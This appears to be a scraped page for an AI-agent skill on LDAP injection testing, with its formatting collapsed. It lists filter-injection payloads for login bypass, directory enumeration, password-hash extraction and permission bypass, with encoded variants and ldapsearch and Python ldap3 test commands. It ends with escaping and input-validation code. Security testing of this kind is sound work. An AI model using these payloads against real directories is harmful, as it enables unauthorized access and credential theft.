Loading...
Loading...
Professional Skills and Methodologies for LDAP Injection Vulnerability Testing
npx skill4agent add ed1s0nz/cyberstrikeai ldap-injection-testingString filter = "(&(cn=" + userInput + ")(userPassword=" + password + "))";
ldapContext.search(baseDN, filter, ...);(cn=John)
(objectClass=person)
(&(cn=John)(mail=john@example.com))
(|(cn=John)(cn=Jane))
(!(cn=John))()*\/NUL*)(&
*)(|
*))(
*))%00*)(&(cn=*
*)(|(cn=*
*))(!(cn=*Username: *)(&
Password: *
Query: (&(cn=*)(&)(userPassword=*))Username: admin)(&(cn=admin
Password: *))
Query: (&(cn=admin)(&(cn=admin)(userPassword=*)))*)(cn=*
*)(uid=*
*)(mail=**)(|(cn=*)(userPassword=*
*)(|(objectClass=*)(cn=*Input: *)(&
Query: (&(cn=*)(&)(userPassword=*))
Result: Matches all usersInput: admin)(&(cn=admin
Query: (&(cn=admin)(&(cn=admin)(userPassword=*)))Input: *)(|(cn=*)(userPassword=*
Query: (&(cn=*)(|(cn=*)(userPassword=*)(userPassword=*))Search: *)(cn=*
Result: Returns all cn attributesSearch: *)(|(cn=*)(userPassword=*
Result: Returns users and password hashesSearch: *)(|(cn=*)(mail=*)(telephoneNumber=*
Result: Returns multiple sensitive attributesOriginal: (&(cn=user)(memberOf=CN=Users,DC=example,DC=com))
Injection: user)(memberOf=CN=Admins,DC=example,DC=com))(|(cn=user
Result: May bypass permission checks*)(& → %2A%29%28%26
*)(| → %2A%29%28%7C* → \u002A
( → \u0028
) → \u0029*)(&(cn=*
*)(|(cn=**))%00# Basic Query
ldapsearch -x -H ldap://target.com -b "dc=example,dc=com" "(cn=*)"
# Test Injection
ldapsearch -x -H ldap://target.com -b "dc=example,dc=com" "(cn=*)(&"import ldap3
server = ldap3.Server('ldap://target.com')
conn = ldap3.Connection(server, authentication=ldap3.SIMPLE,
user='cn=admin,dc=example,dc=com',
password='password')
# Test Injection
filter_str = '*)(&'
conn.search('dc=example,dc=com', filter_str)
print(conn.entries)private static final String[] LDAP_ESCAPE_CHARS =
{"\\", "*", "(", ")", "\0", "/"};
public static String escapeLDAP(String input) {
if (input == null) {
return null;
}
StringBuilder sb = new StringBuilder();
for (int i = 0; i < input.length(); i++) {
char c = input.charAt(i);
if (Arrays.asList(LDAP_ESCAPE_CHARS).contains(String.valueOf(c))) {
sb.append("\\");
}
sb.append(c);
}
return sb.toString();
}// Use parameterized functionality of LDAP API
String filter = "(&(cn={0})(userPassword={1}))";
Object[] args = {escapedCN, escapedPassword};
// Build query using API// Only allow specific characters
if (!input.matches("^[a-zA-Z0-9@._-]+$")) {
throw new IllegalArgumentException("Invalid input");
}